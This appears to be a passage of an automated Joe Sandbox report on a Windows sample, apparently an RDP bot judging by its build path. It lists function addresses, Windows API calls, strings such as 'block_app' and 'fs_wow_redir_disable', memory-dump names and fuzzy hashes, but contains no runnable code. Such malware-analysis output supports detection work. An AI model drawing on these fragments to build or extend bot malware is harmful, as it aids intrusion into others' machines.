[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu), xrefs: 00007FF704893830

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProcfflushfwrite
String ID: Done$Wow64DisableWow64FsRedirection$[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_disable$kernel32
API String ID: 1533789296-1853374401
Opcode ID: 366d2cdfa6a1cbe36298f6c9d0e678363a7b7cb7144b63d0885a61954be76f18
Instruction ID: 65857f998318750bbb356a01487421a3395574f5b1a80488a0ac970d03e75650
Opcode Fuzzy Hash: 366d2cdfa6a1cbe36298f6c9d0e678363a7b7cb7144b63d0885a61954be76f18
Instruction Fuzzy Hash: 3F01C561A1CA43A1FB55BF56ACC4AB492506F08309FC80836C80E566E1EFADF9759320

Function 00007FF7048933C0 Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7048933D8
CloseHandle.KERNEL32 ref: 00007FF7048933DE

Strings

process_free, xrefs: 00007FF704893402
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704893409
(pi != NULL), xrefs: 00007FF7048933FB
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7048933F4

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseHandle
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$process_free
API String ID: 2962429428-1801624891
Opcode ID: 3b8a90e65239f1e38acdc01f402fb0f2ee0701ea53a1e2d90e4eea666d6df0fc
Instruction ID: b7281f74293e97276ad69663904b5d6fbb7985eea6ee6476ec8506d7237ffaf0
Opcode Fuzzy Hash: 3b8a90e65239f1e38acdc01f402fb0f2ee0701ea53a1e2d90e4eea666d6df0fc
Instruction Fuzzy Hash: C8F0F866A4884B81FA20EF66FC909A8A720BF44748FC80972DD0D476A09F7CE966C310

Function 00007FF704897E04 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32 ref: 00007FF704897E82
GetLastError.KERNEL32 ref: 00007FF704897E90

Strings

path_convert_to_nt, xrefs: 00007FF704897E9B
%S%S, xrefs: 00007FF704897F88
[E] (%s) -> QueryDosDeviceW failed(gle=%lu), xrefs: 00007FF704897EA2

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: DeviceErrorLastQuery
String ID: %S%S$[E] (%s) -> QueryDosDeviceW failed(gle=%lu)$path_convert_to_nt
API String ID: 963133057-3473575966
Opcode ID: eb14956f55811ff294041cf14e61d777e1723efa0de7130191ce6054b43d6e2b
Instruction ID: eb49540c74e2fc575afcadacb46ce0e04ffbf40e43d67b2583b32462dbe2a05c
Opcode Fuzzy Hash: eb14956f55811ff294041cf14e61d777e1723efa0de7130191ce6054b43d6e2b
Instruction Fuzzy Hash: F6413A52E2CA97C1FA207E169CC4BB9D251AF40B94F9D0832DD4E276C5DF6CBCA08261

Function 00007FF70489CCD9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF70489CD2A

Strings

%*.*s, xrefs: 00007FF70489CD1A
%-*.*s, xrefs: 00007FF70489CD23
%S%S, xrefs: 00007FF70489CCDB
%.*s, xrefs: 00007FF70489CD37

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fwprintf
String ID: %*.*s$%-*.*s$%.*s$%S%S
API String ID: 968622242-2451587232
Opcode ID: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction ID: 12019390bfd818c1a464e3cb984f65936dc41bbcb435fe8fc6d49b5ba160a05b
Opcode Fuzzy Hash: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction Fuzzy Hash: C4317672E0894345F760AE279C84D79EA90EF44B94F8CC931D9094B6C9DF2DFC219760

Function 00007FF7048989E7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF704898671
GetLastError.KERNEL32 ref: 00007FF70489867D
CloseHandle.KERNEL32 ref: 00007FF704898A16

Strings

block_app, xrefs: 00007FF70489868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704898694

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 3291001683a13ebc5dc5c5edda057e9efd9023fddcfa1d8c289d3b1e70410d58
Instruction ID: f3243ad98e61524bc4f39c490784b7ee7f7b4155d28dc7da1d428c016e3f0339
Opcode Fuzzy Hash: 3291001683a13ebc5dc5c5edda057e9efd9023fddcfa1d8c289d3b1e70410d58
Instruction Fuzzy Hash: E9F04952A1CA0391FA247F1B9CC8A789691AF46744FC85C32C54E8A2D5DFACFCB08320

Function 00007FF7048989E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF704898671
GetLastError.KERNEL32 ref: 00007FF70489867D
CloseHandle.KERNEL32 ref: 00007FF704898A16

Strings

block_app, xrefs: 00007FF70489868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704898694

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 43537e79359e21edf02543d847a71dab3b35628546990b0e087ced3cf1329bff
Instruction ID: 8b2e5d87fbbebb615dc6a31b8e45049ff2574903b9d4f45d6912c368ece85c6c
Opcode Fuzzy Hash: 43537e79359e21edf02543d847a71dab3b35628546990b0e087ced3cf1329bff
Instruction Fuzzy Hash: 59F04952A1CA0395FA247F1B9CC89789691AF46744FC85C31C54E8A2D5EFACFCB08320

Function 00007FF7048989D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF704898671
GetLastError.KERNEL32 ref: 00007FF70489867D
CloseHandle.KERNEL32 ref: 00007FF704898A16

Strings

block_app, xrefs: 00007FF70489868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704898694

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: ae964e21df4615f733d3523d43de523770077db340beae7310f889840b7a9f9a
Instruction ID: c7a87440c0c0791733aaf6b2d344e0125fd61d03a9f69bc91d41d93aa0138a1d
Opcode Fuzzy Hash: ae964e21df4615f733d3523d43de523770077db340beae7310f889840b7a9f9a
Instruction Fuzzy Hash: 93F04952A1CA0391FA257F1B9CC89789691AF46744FC85C32C54E8A2D5DFACFDB08320

Function 00007FF704898A40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF704898671
GetLastError.KERNEL32 ref: 00007FF70489867D
CloseHandle.KERNEL32 ref: 00007FF704898A16

Strings

block_app, xrefs: 00007FF70489868D
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF704898694

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 80b9a6db2b2e48e89f54032db637bcab0a296bca92d97ce77ee6742c3cbdaec9
Instruction ID: 4469c91b7d68904236888b656b5051cef233a64307493756cb379c5243394726
Opcode Fuzzy Hash: 80b9a6db2b2e48e89f54032db637bcab0a296bca92d97ce77ee6742c3cbdaec9
Instruction Fuzzy Hash: 9DF04952A1CA0391FA247F1B9CC89789691AF46744FC85C31C54E8A2D5DF6CFCB48320

Function 00007FF70489193C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704891956
DeleteCriticalSection.KERNEL32 ref: 00007FF704891983

Strings

Done, xrefs: 00007FF704891994
debug_cleanup, xrefs: 00007FF70489199B
[I] (%s) -> %s, xrefs: 00007FF7048919A2

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CriticalDeleteSectionfclose
String ID: Done$[I] (%s) -> %s$debug_cleanup
API String ID: 3387974148-4247581856
Opcode ID: 5700e670ed7aaba7f243cf6607a1127b37ceffefebeb6df78e18ccad7f903a36
Instruction ID: 1ef67a8925e6efa2f31f034159d19865aa0f6cd2052f5408678354a2b6ab98fb
Opcode Fuzzy Hash: 5700e670ed7aaba7f243cf6607a1127b37ceffefebeb6df78e18ccad7f903a36
Instruction Fuzzy Hash: 08F09222A09A4395FA59BF62ECD8B75A360AF40704FC81D75C40E566E1CFFC64B9C760

Function 00007FF70489A96B Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00007FF7048AA1E8,00000000,?,?,?,00007FF7048AA1E0,00007FF704891208,?,?,?,00007FF704891313), ref: 00007FF70489ABC2

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF70489AB5D
Unknown pseudo relocation protocol version %d., xrefs: 00007FF70489AA62
Unknown pseudo relocation bit size %d., xrefs: 00007FF70489AAEB

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction ID: 72045ffdf21e4fa4d723c854461cabe410fe6933f31c1124e8c6bb17802ca1a2
Opcode Fuzzy Hash: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction Fuzzy Hash: FA617362F0898286FA18AF17DD80A78B7A1AF44B94F884931D91D477D5DF3CF9A1C720

Function 00007FF7048919C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleHandleExA.KERNEL32 ref: 00007FF7048919DE
GetLastError.KERNEL32 ref: 00007FF7048919FB

Strings

[E] (%s) -> GetModuleHandleExA failed(gle=%lu), xrefs: 00007FF704891A0B
module_current, xrefs: 00007FF704891A04

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: [E] (%s) -> GetModuleHandleExA failed(gle=%lu)$module_current
API String ID: 4242514867-2427012484
Opcode ID: 999751950b3b76576846fd9a6e2c41b244daa48ae7a457a6485a6069d3df73eb
Instruction ID: 8f617b198e1adb48d387326949c45649fedd51d2b5e152ef001e3f4cd5c23534
Opcode Fuzzy Hash: 999751950b3b76576846fd9a6e2c41b244daa48ae7a457a6485a6069d3df73eb
Instruction Fuzzy Hash: 5DF01C21A0CA4380F720AF56EC88B69A761EF44398FC80535C64D026E8CF6CF578C720

Function 00007FF7048A0150 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7048A01CB
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF7048A01E6
MultiByteToWideChar.KERNEL32 ref: 00007FF7048A023A
_errno.MSVCRT ref: 00007FF7048A0244

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction ID: 5ceaedd8e5ff4252ccf8d211fecd92596241c29698e12df3a17b3be0da4bbc2b
Opcode Fuzzy Hash: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction Fuzzy Hash: 6431C773E0C38149F7715F229C80B69A690EF8678CF844535DA89477D5DBBCE4758720

Function 00007FF70489AC27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF70489ACE6
signal.MSVCRT ref: 00007FF70489ACFB

Strings

CCG , xrefs: 00007FF70489AC46

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction ID: 98dac50c8f41f47a89c735b5ab7403489a1c1ef86295dc9d9b543d3070f0c63f
Opcode Fuzzy Hash: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction Fuzzy Hash: 82218021E0D98247FA7C7A168CC1B7891819F85329FAD8D35C90E8A2D5DF9DBCB19221

Function 00007FF70489A6D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

Unknown error, xrefs: 00007FF70489A6E7
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction ID: d0bf13d4e1a2db6f2e217db34e83333d9b5ae3fcacbd06cb97bd9f8f9794eed3
Opcode Fuzzy Hash: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction Fuzzy Hash: BB11A362808E84C2E2119F1DE4417EAB370FF9A359F545722EBCC26264DF7DD162C700

Function 00007FF70489A710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF70489A710
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction ID: 0b1ad8778f964faa5d594e7bb27fce07ef189f8926d9629de5d14caaeac99113
Opcode Fuzzy Hash: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction Fuzzy Hash: D5F06D67808F8482D2119F19E8406ABB370FF9E389F645726EBC926668DF6DD5228710

Function 00007FF70489A707 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

Argument domain error (DOMAIN), xrefs: 00007FF70489A707
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
